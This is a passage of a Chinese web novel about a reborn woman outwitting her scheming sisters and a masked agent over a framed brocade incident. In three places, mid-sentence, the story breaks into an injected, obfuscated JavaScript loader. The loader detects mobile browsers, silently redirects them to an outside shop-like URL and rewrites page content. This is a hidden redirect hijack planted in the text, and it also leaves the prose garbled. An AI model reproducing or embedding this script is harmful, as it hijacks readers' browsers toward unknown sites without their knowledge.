“……自然是因为面具上画了一朵桃花。”容锦簇立刻埋头喝茶,明智地从漩涡里抽身出来,“这是你请来的人?不是说了只有我们姐妹出来玩吗。” 容宁烟果然转移了注意,兴高采烈又娇羞万分地摇晃容锦簇手腕:“哎呀,二姐姐,你就说,有没有发现这位桃花郎君生得很好看嘛。” 容锦簇顿觉口中的茶涩得咽不下去,将茶盏往桌上一放,欲言又止:“没有。” 两道目光瞬间直直钉在她脸上。一道来自松了口气的容宁烟,另一道漫不经心的目光,不言自明。 容宁烟锲而不舍:“但是桃花郎君特别厉害!二姐姐,你知道幽冥阁有一支以银面具示人的高手吗?” “不知道。” 见容锦簇不捧场,容宁烟气馁,却又忍不住炫耀似的窃喜:“二姐姐久居深闺,不知道银面郎君也正常。” “幽冥阁是京城鼎鼎有名的情报组织,高手如云。其中有一支,以银面具作为标志,神出鬼没,无影无形,一概称作银面郎君。银面郎君纹饰不同,代称也不同。” 说完,容宁烟脉脉含情,向旁边坐着的那位银面郎君投去期待的眼神,分明在寻求他的认同或夸奖。 银面桃花对此视而不见。 倒是容锦簇先笑了,温温柔柔地说:“神出鬼没,无影无形?想必逃跑的时候也很快吧。” 方才还视若无睹的青年忽然斜过身子,朝容锦簇挑了一下唇角:“听这话,容二姑娘对在下的本事很感兴趣?” 绵里藏针。 针锋相对。 对……这不对!容宁烟心中警铃大作,赶忙道:“容六姑娘也很感兴趣!” 剑拔弩张的两人各自偏过头,仿佛旁边坐着一团空气。 容宁烟脸上的笑完全僵住了,半晌,勉强拾起轻柔甜腻的语调,搡了搡容锦簇:“二姐姐,你跟桃花郎君认识呀。” 异口同声:“不认识。” 这不就是认识吗!容宁烟心头噌的一声火起,气得她七窍生烟。 她不清楚刚才离席的时候到底发生了什么,但归根到底,桃花郎君是她先认识的!来茶楼听戏,还是桃花郎君先邀请的她呢!她绝不允许这么短的时间内,这支桃花被她那软绵无用的二姐姐勾走! 咬了咬唇,她十分乖巧无辜地垂下脑袋,黯然神伤:“既然是二姐姐的故交,烟儿就不在这碍事了。烟儿去外面等,待二姐姐跟桃花郎君聊完了,千万别忘了到门口找我。” 这招以退为进,以她对容锦簇那个胆小鬼的了解,容锦簇必定死死抓着她的手不放;而那位桃花郎君,虽然她不了解,但一看就是个风流公子,必定因她的温柔体贴而动容,怜香惜玉…… 容宁烟沉浸在无穷无尽的幻想里,情不自禁为自己的妙计叹服,忽然听见二姐姐和桃花郎君再一次同时开口: “行。” — 春桃院门户大敞,凌乱的卧房像遭了贼似的,遍地破帛裂锦,白瓷碎片四处飞溅。 容锦虞砸完了房中一切能砸的宝贝,连上午没用完的碎冰也泼到地上,这才扑到床上放声大哭。 “娘,您怎么能任由容锦簇欺负我!您瞧瞧她,哪里有做姐姐的样子——” “够了。”容夫人跨进门,既心疼又气恼,“阿宁,你先瞧瞧你,又糟践了多少好东西。” “娘,我错了,我只是太伤心了。”容锦虞泪眼婆娑,满脸绝望地翻过身躺在床上,“我盼了一年的妆花缎,自己都不够用,怎么能都给二姐姐呢?” “傻孩子。”容夫人仍旧端着那副温柔婉约的神态,高深莫测一笑,“她怎么够格碰到属于你的缎子?恰恰相反,我要让她把吃下去的全都吐出来,加倍奉还。” 容锦虞停止了哭闹,猛地坐起身:“阿娘,什么意思?” “当然是……”容夫人低声交代了容锦虞几句,这才问,“听明白了吗?” 容锦虞懵懵懂懂点头,心中犹疑。 剪坏一匹锦缎,嫁祸给容锦簇,这能行吗? — 另一边,熙春楼,容宁烟简直不相信自己的耳朵:“什、什么?” “你不是说了吗?要去外面等二姑娘。”银面桃花大发慈悲地提醒她,“快去吧。” “我……”容宁烟磨磨蹭蹭不愿意走,“我还没……” “茶水点心钱我来付,六姑娘。”银面桃花挑眉,抢在容宁烟没想好理由之前,体贴地堵死了后路,“我跟二姑娘确是故交,正好要叙旧,六姑娘如此贴心,谢了。” 容宁烟暗暗瞪了容锦簇一眼,牙都快咬碎了:“那我……先走啦,二姐姐一定要快些!” 她一走,容锦簇落座之处立刻安静不少。没有容宁烟叽叽歪歪,倒是不习惯。 银面桃花姿态从容,随手亮开一柄折扇,慢慢摇了摇:“一别经年,没想到二姑娘也学会了讥诮暗讽的本事。” 容锦簇没搭话,低头气呼呼咬了一口伙计新送来的桂花糕。 馥郁的香甜从唇齿间融化开,容锦簇闭上眼,终于有了种重新活过来的实感。 吃完桂花糕,她用帕子细细将手指擦拭干净,头也不抬,暗暗咬了咬牙:“谁跟你一别经年。” 前世,除了临死前那一刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484489|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她最恨的就是这位银面桃花。 难道,他也重生了? 这个念头刚灵光一闪,银面桃花慢条斯理摇了摇扇,用那双潋滟的丹凤眼朝她微微笑了:“二姑娘,狠心无情哪。十年前我们在宫宴上有过一面之缘,在下至今念念不忘,二姑娘却不记得了,可真是,知人知面不知心,痴心不如二两金哪。” 十年前,容锦簇当然记得。那会儿她刚满六岁,失足掉进宫里的太液池,多亏一个清瘦的小男孩儿将她救上来。 前世,银面桃花第一次见她,也提起了这份救命之恩。或许她就是出于这份恩情,才会那么坚定选他…… 容锦簇回过神,清醒地看着他。 银面桃花笑得晃眼,举手投足间透出一股散漫劲儿。容锦簇撇了撇嘴,心想前世怎么就没看透这副金相玉质好皮囊下的风流浪荡,偏偏被他哄得深陷其中? 这人气质没变,十年前见过也不假,没有重生的迹象。容锦簇放下心,继续品她的茶:“六妹妹喜欢你,你却对她那般,真不怕寒了她的心。” “二姑娘这话可冤枉我了,她都没表明心意,我哪有机会寒她的心。”银面桃花无辜地摊开一边手,“按二姑娘的意思,难不成谁喜欢我,我都得以身相许?照这么说,我对二姑娘念念不忘,你是不是也应该——” 容锦簇警铃大作,睁圆了眼睛:“但是我有心上人了!” 银面桃花摇扇的动作一顿,眼里寒意一闪而逝。随后再度将折扇缓缓晃着,含笑点了点头:“遵命。二姑娘也别太担心,在下事务繁忙,恐怕没那么多闲时候。” 容锦簇顺着他的话往下想,越想,越觉得哪里不对。但她向来不爱动脑子,摇摇头,将繁杂的想法甩了出去,专心看戏。 戏台上忽然煞的一声鞭响,如霹雳惊雷,画着浓墨重彩大花脸的虎将眉头一竖,大喝一声:“你到底何时来的!” 话音一落,四面鼓声咚咚齐响,格外肃杀紧张。 容锦簇同样一惊,顿觉那缕游离不定的思绪撕扯出一道口子:“既然事务繁忙,你怎么有空来茶楼听戏?” “忙里偷闲的道理,二姑娘不会不懂吧?” “可是,容宁烟怎么会跟你相识?” “她为何不能与我相识?几日前她不慎毁了我的东西,至今还欠我银两未还,所以约我听戏,求个宽限。怎么,二姑娘想替妹妹抵债?” 天衣无缝。 容锦簇沉默了。前世她被罚,关在院子里出不去,确实不知容宁烟当日去了何处。至于银面桃花如何与容宁烟相识,她也不清楚。 不过有一件事她清楚。 前世,她和银面桃花相遇是在万国会,根本不是在今日的茶楼。 难道重生回来,跟容锦虞这么一闹,所有事都跟着改变了? 思路就此中断,容锦簇有些泄气地垂下头,自己果然还是不适合盘问啊。 她语气怏怏,随口扔回一句:“冤有头债有主,六妹妹欠你,你找她去,又何必跟我较劲儿呢?” 原本一来一往的交锋戛然而止。 沉默在空气中流转,几乎凝固之时,容锦簇终于听见银面桃花深吸一口气:“容二姑娘,实不相瞒,在下今日前来,是为了见你。” 这完全出乎容锦簇的意料:“为什么?” 银面桃花收了扇,态度严肃又郑重:“有事相求。” 银面桃花,求她? 5. 第 5 章 “听闻容二姑娘有一位师父,久居深山避世不出,却有天下最好的医术。我想请二姑娘的师父出山,救一个人。” “救人?”容锦簇没忍住笑了一声,前世桩桩件件,银面桃花还亏欠着她呢,怎么好意思找她救人? 若是以前那个性子软好说话的容锦簇,早就答应了。但现在不可能,那是她师父,岂是别人说请就能请、想见就能见的? 坏人就得有坏人的架子,容锦簇抬手托腮,高贵冷艳地装了一把:“我只知道什么是杀人,不知道什么是救人。除非你有通天的本事,开出的条件足够让……让我满意。” 银面桃花默了默,似乎是被她震撼到了,怀疑她脑子出问题了也有可能。 半晌,他收起诧异的眼神:“我可以满足你任何一个心愿。” 任何一个心愿?容锦簇嗤了一声,他当自己灯神吗? 再说,才一个心愿,有什么稀罕—— “还有三千两银子。” “成交。” 容锦簇实在无力抵挡这一诱惑,那可是三千两呢。一转脸,她突然发现银面桃花的唇角翘着,才意识到自己可能亏了。 “你再笑,我就反悔了。” 银面桃花投降:“不笑了,都听二姑娘的。” 原本紧张至凝固的气氛这才松缓不少,两人的目光重新落回戏台上。 下一幕戏,讲的正是个负心郎的故事。 见容锦簇目不转睛,银面桃花轻咳一声,伸手在她面前一晃:“这么好看?” 容锦簇用力咬着松子糖,像在咬谁似的,恶狠狠地意有所指:“从前没觉得好看,后来才知道,原来故事都取材于现实!” 银面桃花:“指桑骂槐。” “我哪儿敢呢,您可是桃花一枝,跟什么桑什么槐的没有半点关系。” “阴阳怪气也学会了。” “真没有。谁敢阴阳怪气您,还不得被您神出鬼没、无影无形地掳走了。” “……” 是夜。 月明星稀,夜色晴朗。 哼着愉快的小曲,三姑娘容锦虞迈着轻快的脚步跨进雪寒院。 院内灯笼早熄了,只有容锦簇房中还亮着黯淡的烛光,透过窗纱影影绰绰勾勒出容锦簇低头执笔的影子。 容锦虞心生好奇,径直跨进卧房:“容锦簇,你在做什么?” 夜风拂得烛火跃然,容锦簇正趴在桌前,给师父写信。 这件事自然不可能让容锦虞知道。 容锦簇急中生智,先喝一声:“站住!” 容锦虞一怔,下意识听话乖乖站住了。 容锦簇这才提笔蘸墨,将兔毫往她的方向一递:“我在抄《金刚经》,怎么,三妹妹要替我写吗?果然没看错你,做姐姐的好生感动。” “说什么呢!”容锦虞最烦抄书,立刻捂起耳朵吵嚷,“你先收起来,谁说要替你抄了!” “那你来雪寒院做什么?”容锦簇趁机若无其事收起了信。 这一反问,容锦虞终于想起正事:“我可是亲自来向你赔礼道歉的!” 说要道歉,脖子可是昂得比鹅还挺。这样眼高于顶的道歉,容锦簇很难不好奇,干脆托起腮,笑吟吟瞧着她。 “你瞧瞧,我带什么来了。”容锦虞拍拍手,她的小侍女宝喜立刻端着朱漆檀木托盘进门。托盘上赫然整齐叠放着十几匹流光溢彩的妆花缎。 “都给你了。”容锦虞很大方地说,“按照份例,你的六匹加我的六匹。如果不放心,过来清点一下。” 容锦簇还是不说话,只瞧着容锦虞的眼睛。 容锦虞是个心思很浅的姑娘,天大的事,哪怕脸上神情遮得住,所有情绪也要清清楚楚写在眼睛里。 真要赔礼道歉送出心爱的妆花缎,她眼里一定会藏有深深的嫉妒、不甘、委屈,而不是像此时此刻,只剩下幸灾乐祸的笑意。 容锦簇心里有了底,才说:“我不要。” “你、你怎么能不要呢?”那双眼睛慌乱了一瞬,容锦虞语无伦次地质问,“不是你亲口朝阿娘要的吗?不能临时变卦!” “三妹妹不是最喜欢这些好缎子?我不拿,你应该高兴才对,怎么还要硬塞给我?” 容锦虞显然没想到会有变数,张了张嘴却没出声,眼里错愕翻涌。 “你你你……”她“你”了半天,一扭头,负气往外走,“宝喜,咱们回去!” 送走了铩羽而归的容锦虞,容锦簇放下兔毫,同样静静无声地想着心事。 白日里,她见到了银面桃花。 很奇怪,无论哪里都奇怪。 时隔十四年,许多旧事如河中泥沙,逐渐消磨褪色,模糊不清。哪怕重新回到少女时,也记不起细节。 唯独跟银面桃花相关的事仿佛镌刻在她心里,清晰如昨。 银面桃花是幽冥阁顶尖的高手,身世、姓名甚至容貌,都对外严格保密。 而她一直做着不谙世事的容府二小姐,从未想过追究到底。直到前世她入宫,都不清楚银面桃花真名叫什么。 当年情深意切时,银面桃花曾让她唤过他阿琢。至于是哪个琢,容锦簇也没机会问他。 相比之下,银面桃花对她可谓十分了解。 幽冥阁本就情报畅通,前世,银面桃花从一开始接近容锦簇,就对她了如指掌,连她喜欢吃甜、不喜欢生萝卜等诸多喜好都清清楚楚。 但重生回来,奇怪之处不在于银面桃花对她的了解,在于银面桃花对她的态度。 前世,阿琢对她一向纵容,生怕惹她生气难过。什么时候像今日这般言语带刺,笑里藏刀过。 那么,眼下就有一个容锦簇不愿意相信、却不得不亲自求证的猜测—— 他也重生了。 容锦簇揉了揉太阳穴,顿觉苦恼:如果这个猜测是真的,那就麻烦大了。 …… 一大早,深夜才归的宝灯早早起来,梳妆打扮折腾一番。往外一瞧,宝河刚踏进二姑娘卧房,无暇管她。 宝灯窃窃一笑,抓起扇子就想开溜。 “捉住了!哪里跑!” 宝河从卧房门口敏捷地闪出来,将她双臂一钳,牢牢截住,扭送至容锦簇房中。宝灯一边走一边反抗,无奈宝河力气比较大,怎么也挣脱不开,反倒踢翻了摆在角落的花瓶,好一通稀里哗啦。 这么激烈的动静,容锦簇很难不被吵醒。她拥着被子睡眼惺忪坐起来,扯开半边床帐,静静看着两人。 宝河被盯得颇不自在,讷讷道:“姑娘,是您昨晚交代,宝灯一醒就要捉过来问罪!” 宝灯叹了口气,并不觉得性情绵软的二姑娘能把自己怎么样,转身要走:“姑娘接着睡吧,昨日都是误会,奴婢有急事,要去看街上为万国会准备的装饰呢……” “站住。” 容锦簇头脑虽懵,声音却格外冷静。 宝灯全然不在乎,伸手拨开卧房的珠帘—— “再往前一步,我立刻送你去三姑娘的春桃院。”容锦簇拉起被子重新躺下,深知做反派最重要的就是轻描淡写但铿锵有力,即人狠话不多,“不想受刑,就在这乖乖待着,等我睡醒。” 她声音不重,宝灯却冷不防打了个激灵,手贴在门框上,迟疑半晌,慢慢收回。 三姑娘容锦虞对得罪她的人有多狠,宝灯不是没见识过。 她不敢赌。 等容锦簇再睁开眼,又过去了一个时辰。 等了一个时辰的宝灯非但没脾气,反而默默为她簪好头发,换好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484490|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣裳,态度恭敬乖顺。 始终神游天外的容锦簇这才回过神。 “你偷的冰盆,放哪了?” “二姑娘明鉴!”宝灯立刻两眼泪汪汪卖起乖来,“奴婢只是心疼姑娘,想让姑娘屋里也凉快凉快……” 容锦簇笑了,眉眼弯弯:“心疼姑娘,所以转头把冰盆放自己床底下了?” 沉默中,宝灯敏锐地意识到,二姑娘变了。 她不敢再造次,这回终于扑通一声跪下,低声道:“奴婢再也不敢了,这回的错,任凭姑娘惩处。” “是吗。”容锦簇随手剥了几枚莲子吃,顿了顿,也分给宝灯一颗。 在她愕然的注视中,容锦簇朝她露出一个十分标准的反派笑,“做得不错,就是蠢些,若不是我昨日替你挡了,你也少不了挨三妹妹一顿板子。” 宝灯眼神惊惧。 容锦簇轻咳一声,这才正色道:“咱们势单力薄,在容府偏居一隅,能安生过好自己的日子就足够了。往后,也别轻易去招惹她们,需要什么我来想办法,咱们日后自然会有。” 正说着,宝河掀帘进来,满面惊喜:“姑娘,今日的冰块送来了!好大一块呢!” 见容锦簇点头,宝灯眼神剧变好几次,终于深深埋下头:“奴婢谢姑娘救命之恩!” “但你偷东西是罪,不能不罚。往后两个月的例银没有了。” 宝灯心悦诚服:“奴婢知罪。” “知罪?什么罪?”珠帘哗啦一响,容锦虞气势汹汹杀进来,这回胸有成竹多了,“容锦簇,我来给你送妆花缎!” 容锦簇想笑:“终于想到理由了?” “答应了给你的东西,怎么能出尔反尔!”容锦虞装作听不懂,义正辞严,“怕你不放心,以为其中有诈,我特意请了阿娘过来做个见证。” 这是找容夫人给她施压呢。 容锦簇心里明镜似的,还是笑着点点头:“三妹妹有心了。” 有了冰块,容锦簇房中也不再酷热如焚。容锦虞坐下,吩咐宝喜依旧将那些妆花缎捧上来:“这些料子你得亲自清点好。不然,以后出了什么差错,多了还是少了,还要牵扯到我。” 这话不像容锦虞会说的,容锦簇打量她良久,猜想大概是容夫人特意嘱咐。 到了这个地步,容锦簇也没法躲,吩咐宝灯:“你来清点。” “不行!”宝灯还没来得及回话,容锦虞抢先一步弹了起来,“容锦簇,必须你亲自点。” “三妹妹信不过我的侍女?”容锦簇笑吟吟,“放心,我重罚过了,她如今老实得很,绝对不敢再动手脚。” 这是信不信得过的问题吗……关键时刻,容锦虞也开始动脑筋:“没错,我就是信不过她,你亲自检查过了我才放心。” 容锦簇还要再开口,容夫人适时从外慢步进来,笑容端庄温和,丝毫不见昨日怒发冲冠的情态:“阿折,又跟阿宁争执什么呢?阿宁这丫头也是一片好心,你别误会她。” 容锦簇闭了闭眼。再抬眸时,知道推脱不过,恢复了平静:“谢谢阿娘,那就我来。” 容夫人站在门口,宝喜站在梳妆台边,容锦虞靠在宝喜肩上。宝灯离得最远,侍立床边。几双眼睛齐齐落在她身上,目光里蕴含的情绪各异。 容锦簇顶着这些目光到了宝喜面前,伸手摸了摸摆在最上面的一匹妆花缎。入手光滑柔顺,色泽鲜艳澄明,货真价实的上好料子。 容锦簇抚摸了一阵,缓缓掀起一角,指尖触碰到第二匹。 说时迟,那时快,容锦虞一个鲤鱼打挺从宝喜身后蹦起来,一把剪刀几乎立刻塞进容锦簇掌心里,卧房里传出容锦虞激动万分的吵嚷: “容锦簇!你敢把御赐的妆花缎剪坏了!这可是宫里赏下来的贡品!” 6. 第 6 章 容锦簇捏着那把剪刀,又好气又好笑。 不管容锦虞怎么大声嚷嚷,她始终垂着眸,淡定检查剩下的妆花缎。 透过窗棂照进来的光线铺开一片灿烂的金色,在妆花缎上镀了一层薄纱似的。 容夫人也严肃了眉目,冷冷道:“剪坏了宫廷御赐的好料子可是大事。阿折,你怎么回事?说不清楚,阿娘也不敢私下偏袒你,须得上报此事,由老祖宗和容家诸位长辈亲自定夺。” 隔着门帘,又有一道天生热情的嗓音高高地响起来:“哎呦,怎么了这是?” 说着,一个穿金戴银的妇人侧身挤进来,正是容家大房夫人,容锦簇的伯母傅盈。 容家虽然早早分了家,各家的府邸还是紧挨着。 容锦簇一家居中,往左是容家三房,住着容宁烟;往右是容家大房,住着大伯和大伯母。 三座宅子都挂了容府的牌匾,远远望去,在朱雀街勉强称得上一声气派,其中艰辛落魄,不为外人知。 伯母傅盈爱热闹,三天两头往旁边两家串门。 那么,凑巧这个时候经过雪寒院,似乎也十分合理了。 容锦簇只是瞧着,不置一词,容夫人抢先温温柔柔地叙述:“大嫂,让你见笑了。阿折不懂事,将宫里赏的妆花缎不小心弄坏了,还是阿宁发现的,你说,我怎么忍心处置两个孩子?正想着如何解决呢……” “这有什么!”傅盈的大嗓门努力往下压了压,洋溢在脸上的笑容未收半分,大力拍着容夫人的手,“不就是妆花缎嘛!总归库房里那么多料子,多一匹少一匹也没人发现,阿折,不够的话再去伯母府上,伯母给你多拿点儿!” 容夫人笑容僵滞了一瞬,又恢复原本的神情,为难道:“若是她自己的也就罢了,偏偏是向阿宁讨来的。都是亲姐妹,阿宁再舍不得也给了,这下,阿宁不知有多伤心呢……” “害,我瞧着素日里阿折给阿宁的好玩意儿也不少,都是亲姐妹,计较这点事有必要么。”傅盈一挥手,“你也别难为她们,我等会儿再送几匹过来就是了。” 容夫人的希望彻底落空,冷冷回绝:“大嫂的好意我心领了,这事儿还是孩子们自己商量着解决为好。” “那行吧。”傅盈不无遗憾道,“我还想着我们家阿绒如今嫁人了,原本留给她的妆花缎落在库房里,怪可惜的。” 容夫人不理她,目光犀利盯着容锦簇:“阿折,这件事怎么办,你自己说说吧。” 容锦簇嫣然:“母亲说得对,这件事也该弄清楚才好。” “弄清楚?妆花缎是在你这儿弄坏的,剪刀也握在你手里,容锦簇,你休想抵赖!”容锦虞叫起来,“今日你不赔给我,我就告你去!” “你为什么说我弄坏的是妆花缎?”容锦簇眨了眨眼,面露无辜。 “不是妆花缎还能是什么?这里可都是妆花缎。”容锦虞狡辩着,没注意到容夫人的神情震惊后越发阴沉下来。 容锦簇将覆在最上面的那匹妆花缎彻底揭开,第二匹缎子完完整整暴露在空气中,阳光斜斜打在缎面上,折射出金丝细细的闪光。 她伸手抚了抚轻薄平滑的缎面,肯定地说:“这是暗花缎。” “容锦簇,你这话什么意思?”容锦虞没想到容锦簇能看出来,头脑发蒙,下意识质问,“你说御赐妆花缎是假的?” “不是假的,而是有人掉包了一匹妆花缎,将这匹剪坏的暗花缎塞进来,伪装成妆花缎。”容锦簇继续往下翻,“底下这十匹都是货真价实、完好无损的妆花缎,最上面这匹也是真的。唯独这第二匹,是已经故意损坏过的暗花缎,很难不让人怀疑——” 她抬起眼,对容夫人一字一句道:“有人调换贡品,故意嫁祸给我。母亲不打算严查此事吗?或是,交给容家各位长辈裁决?” 容夫人脸色难看至极,温柔地反驳回去:“阿折,你又没自己做过衣裳,哪里能分清妆花缎和暗花缎呢?” 容锦簇在后宫待了十四年,对各种缎子的质感熟悉极了。妆花缎和暗花缎她凭触感就能摸出区别,更不用说其他检验方法:“伯母,母亲,如果不相信我的话,将这些料子放到阳光下,对比一下颜色就知道了。” “就当我分不清,不如伯母从外面请个绣娘过来,帮忙辨认如何?” 傅盈乐得看热闹:“我这就去。” “不用了,大嫂。”容夫人忙拦住傅盈,脸色复杂,“我相信阿折。” 傅盈弯肘碰了她一下,笑得爽朗:“我一开始就站阿折,弟妹,你也太迟钝了,分明不像是阿折的错。” 容夫人咬牙:“大嫂说的是。” 傅盈看容锦簇,越看越喜欢:“阿折真是长大了,越来越有主见了!我瞧你对这些料子也挺了解,你长姐没用上的浮光锦啊宝相罗啊这些,赶明儿伯母都送给你,也不浪费。” “还有你长姐过两日要回门呢,你来不来?” “伯母放心,我一定去的。”容锦簇顿了顿,补充,“我也想长姐了。” 容锦虞眼睁睁看着傅盈邀请完容锦簇,转头又和容夫人说话,好像没看见她似的,心里又是不甘又是嫉妒。 咬了咬牙,容锦虞小声说:“伯母,我也想去,我也想大姐姐。” 傅盈膝下唯一的女儿容锦绣,是容家这一辈里第一个姑娘,小字阿绒。容府六个姑娘里,只有容锦绣年满十七,已经成亲。 容锦绣的夫婿不仅长相好,出身更是极好,贵为定远侯嫡子,将来袭了爵就是侯爷。落在容锦虞眼里,这就是高嫁的典范,艳羡得不行。 傅盈听容锦虞主动提出要去,反倒有些不快:“你长姐喜静,人多了她害羞。下回吧。” 容锦虞不甘地咬了咬唇,目光嫉恨。 傅盈转过身,继续劝容夫人:“弟妹,你有时候也太执拗,还是多听听孩子怎么说再处置。阿宁又是个不好惹的,你多劝着她,别总让她欺负阿折。” “三妹妹没欺负我,还说要还我银子呢。”容锦簇说。 “傻孩子,说有什么用?你得让阿宁真的还啊。”傅盈心疼容锦簇,自然事事向着容锦簇,“弟妹,你也帮忙催催,亲姐妹也得明算账。” “……我带来了!”容夫人终于受不了,咬牙解下香包,丢到容锦簇桌上,转身就走,“等会儿自己数数,阿宁不欠你什么。” 容锦虞刚失去了所有妆花缎,又目送阿娘原本可以花在她身上的银子全都落到了容锦簇手里,一时间绝望得连晕倒的力气都没有了。 “我相信阿娘。”容锦簇拿到银票,顿时感觉阳光明媚,神清气爽,热情地将垂头丧气的容夫人和容锦虞送出门,“不再坐会儿吗?” 傅盈跟在后面,不忘提醒她:“阿折,收好,给你了就是你的,千万别让旁人拿去。” “谢谢伯母。”容锦簇发自内心地感激,伯母前世也是容家唯一真心疼她的人,这份恩情她一直记着。 这一世,她不会再眼睁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484491|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睁看着长姐容锦绣早逝的。 晚上,宝河点起灯,数了一遍银票和缎子,对容锦簇佩服得五体投地:“姑娘太聪明了!居然能从夫人手里拿到这么多钱!” 容锦簇坐在桌前写日记,忍不住昏昏欲睡:“多亏伯母帮我呢……容府事儿这么多,我哪里能应付得过来,幸亏之前在宫……” 声音戛然而止。 容锦簇一个激灵,顿时清醒过来。她差点将自己在宫里待过十四年的事说了出去! “幸亏什么?”宝河问。 “没什么。”容锦簇转移话题,“过几日就是万国会了吧。” 四年一度的万国会,是各邦使臣向大景皇帝觐见和进贡的节日,前前后后要办半个月,热闹至极。 “是啊姑娘,明日一早,外邦使臣就该进京了。”宝河喜形于色,“听说这次万国会要比上次还热闹呢!” 容锦簇打了个呵欠:“是吗,那你记得去看。” “姑娘不去?” “我只想睡觉。”说到这,容锦簇终于有了发自肺腑的笑意,“到时候阿宁和阿年都不在家,终于没人找我麻烦了!” “姑娘从前就是这样唤三姑娘和六姑娘的,最近怎么突然改了称呼?”始终默默坐在一旁玩扇子的宝灯适时插话,“妹妹长妹妹短的,听着怪不习惯。” 容锦簇沉默下来。 这样叫着,总比排行亲近些,以至于她从未意识到那两人一直远远地叫着她二姐姐,却没有一日真的将她当作姐姐。 一个终日欺负她,一个暗中给她下毒,直到她临死才舍得露出真面目。 …… 此刻,容锦簇惦记着的这两人正面对面坐在春桃院,中间隔了一张八仙桌,桌上静静摆着一只藕色鸳鸯荷包。 提起亲姐姐,容锦虞恨得牙痒痒:“阿娘精心准备好了一切,唯独没料到容锦簇不知从哪儿学会了辨别妆花缎和暗花缎。可怜我那几匹缎子都折了进去,白白拱手让人!” 容宁烟沉默不语。半晌,提起唇角,眼神古井无波,声音甜美依旧:“三姐姐,这也没什么好生气的。二姐姐也就是一时走运,哪里比得过你,不管穿什么缎子的衣裳都显得精致贵气。” 容锦虞恨铁不成钢,伸手戳着容宁烟额头:“你啊你,是不是在家待傻了?你得会争啊!就这么一味容忍,能撑几时?我这上面只有个亲姐姐都这么艰难,你若是不肯争,你家那几个庶弟庶妹还不得爬到你头上作威作福?” 容宁烟眼底闪过一丝阴狠,面上却硬生生扯出一副人畜无害的柔笑,楚楚可怜道:“三姐姐知道我的,我狠不下这个心。况且,我真是一点办法也没有,既不像姐姐你这般天生聪慧,又从来没人教过我这些……” “那就先跟着三姐姐学!”容锦虞被夸得飘飘然,豪情万丈一拍桌,“打今起你就跟着我,看看我怎么斗容锦簇!” 那只鸳鸯荷包随着桌面震颤腾空而起,啪嗒一声又落回两人中间。 容锦虞这才注意到荷包的存在:“年年,你这个荷包是要送给我吗?” 容宁烟不好意思地颔首:“三姐姐,我也不知你缺什么,若是这个荷包能帮上你该有多好。你瞧这上面的鸳鸯,简直像二姐姐跟那位郎君,真令我羡慕……” “什么郎君?”容锦虞打断了她的话,问。 容宁烟羞赧一笑,凑近容锦虞低声絮语几句。容锦虞眼前骤亮,立刻伸手抓紧了那荷包:“年年,这回你可帮大忙了。” 7. 第 7 章 转眼到了万国会。 为了迎接这个四年一度的外藩来朝进贡的盛会,大景朝几乎每个人都表现得欢欣鼓舞。除了能够亲眼瞧瞧异国商人带来的奇珍异宝,还有许多欢庆活动,京中歌舞升平,一片繁华热闹景象。 对万国会提不起兴趣的,恐怕只有躲在雪寒院睡觉的容家二姑娘。 容锦簇一听到万国会三个字就难受。对一朝太后而言,万国会意味着无穷无尽的麻烦。从礼仪规矩到宴会筹备,再小的事项都要拿到她面前大吵大闹一番,说到底,还不是各方都觉着她性子软,恨不得拼命从她这儿捞好处。 最令她惊心的还是萧逢七岁那年。她刚做了两年太后,根基不稳,朝堂又不安,前来觐见的外邦王储野心勃勃,居然趁着万国会在京城掀起一场叛乱。 想到这,容锦簇更不想去万国会了。她干脆拉起帘帐,打算睡一场清净的不被打扰的回笼觉。 冰盆不断散开凉意,微风穿过珠帘渗进床帐,容锦簇舒舒服服闭上眼。 “容锦簇!阿娘让我喊你一起去街上看胡人表演!”容锦虞喊。 “我中暑了。”清梦被搅,容锦簇蹙眉,故技重施。 “怎么又中暑,我不是同意给你送冰块了嘛!”容锦虞一跺脚,愤愤不平地走了。 容锦簇微微叹了口气,翻过身闭上眼,终于有机会睡个好觉了。 又有人叩门。 “二姐姐,桃花郎君邀我去看杂耍艺人喷火呢,咱们一同去可好?”这回是容宁烟柔婉的声音。 “……我中暑了!” “真的吗,严重吗,我帮二姐姐请个郎中?”容宁烟急忙问。 “不用,只需要在今日这个时辰睡一觉就好了。” 容宁烟在外磨蹭了一会儿,总算没了声音。 容锦簇将脸埋进枕头里,再度闭上眼—— 一只鸽子扑簌簌扇着翅膀,不知从哪撞进了床帐,扬了她一身飞尘。 “师!兄!”彻底没了睡意的容锦簇咬牙切齿爬起身,一把掀开床帘。 